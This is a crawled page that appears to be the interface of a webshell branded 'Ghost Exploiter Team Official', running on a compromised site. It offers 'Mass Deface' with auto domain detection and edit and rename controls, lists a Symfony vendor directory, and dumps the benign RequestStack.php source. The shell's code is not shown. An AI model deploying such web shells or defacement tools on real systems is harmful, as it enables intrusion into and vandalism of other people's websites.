webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
symfony
/
http-foundation
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Exception
--
ren
File
--
ren
RateLimiter
--
ren
RequestMatcher
--
ren
Session
--
ren
Test
--
ren
AcceptHeader.php
3.355KB
edt
ren
AcceptHeaderItem.php
3.188KB
edt
ren
BinaryFileResponse.php
12.329KB
edt
ren
CHANGELOG.md
19.114KB
edt
ren
ChainRequestMatcher.php
0.853KB
edt
ren
Cookie.php
11.93KB
edt
ren
ExpressionRequestMatche
...
1.934KB
edt
ren
FileBag.php
3.743KB
edt
ren
HeaderBag.php
7.123KB
edt
ren
HeaderUtils.php
8.917KB
edt
ren
InputBag.php
5.012KB
edt
ren
IpUtils.php
7.447KB
edt
ren
JsonResponse.php
6.639KB
edt
ren
LICENSE
1.043KB
edt
ren
ParameterBag.php
7.456KB
edt
ren
README.md
0.514KB
edt
ren
RedirectResponse.php
2.487KB
edt
ren
Request.php
67.421KB
edt
ren
RequestMatcher.php
5.21KB
edt
ren
RequestMatcherInterface
...
0.606KB
edt
ren
RequestStack.php
2.638KB
edt
ren
Response.php
40.163KB
edt
ren
ResponseHeaderBag.php
7.788KB
edt
ren
ServerBag.php
3.916KB
edt
ren
StreamedJsonResponse.php
5.64KB
edt
ren
StreamedResponse.php
2.997KB
edt
ren
UriSigner.php
3.207KB
edt
ren
UrlHelper.php
3.051KB
edt
ren
composer.json
1.291KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Request stack that controls the lifecycle of requests. * * @author Benjamin Eberlei <kontakt@beberlei.de> */ class RequestStack { /** * @var Request[] */ private array $requests = []; /** * Pushes a Request on the stack. * * This method should generally not be called directly as the stack * management should be taken care of by the application itself. * * @return void */ public function push(Request $request) { $this->requests[] = $request; } /** * Pops the current request from the stack. * * This operation lets the current request go out of scope. * * This method should generally not be called directly as the stack * management should be taken care of by the application itself. */ public function pop(): ?Request { if (!$this->requests) { return null; } return array_pop($this->requests); } public function getCurrentRequest(): ?Request { return end($this->requests) ?: null; } /** * Gets the main request. * * Be warned that making your code aware of the main request * might make it un-compatible with other features of your framework * like ESI support. */ public function getMainRequest(): ?Request { if (!$this->requests) { return null; } return $this->requests[0]; } /** * Returns the parent request of the current. * * Be warned that making your code aware of the parent request * might make it un-compatible with other features of your framework * like ESI support. * * If current Request is the main request, it returns null. */ public function getParentRequest(): ?Request { $pos = \count($this->requests) - 2; return $this->requests[$pos] ?? null; } /** * Gets the current session. * * @throws SessionNotFoundException */ public function getSession(): SessionInterface { if ((null !== $request = end($this->requests) ?: null) && $request->hasSession()) { return $request->getSession(); } throw new SessionNotFoundException(); } }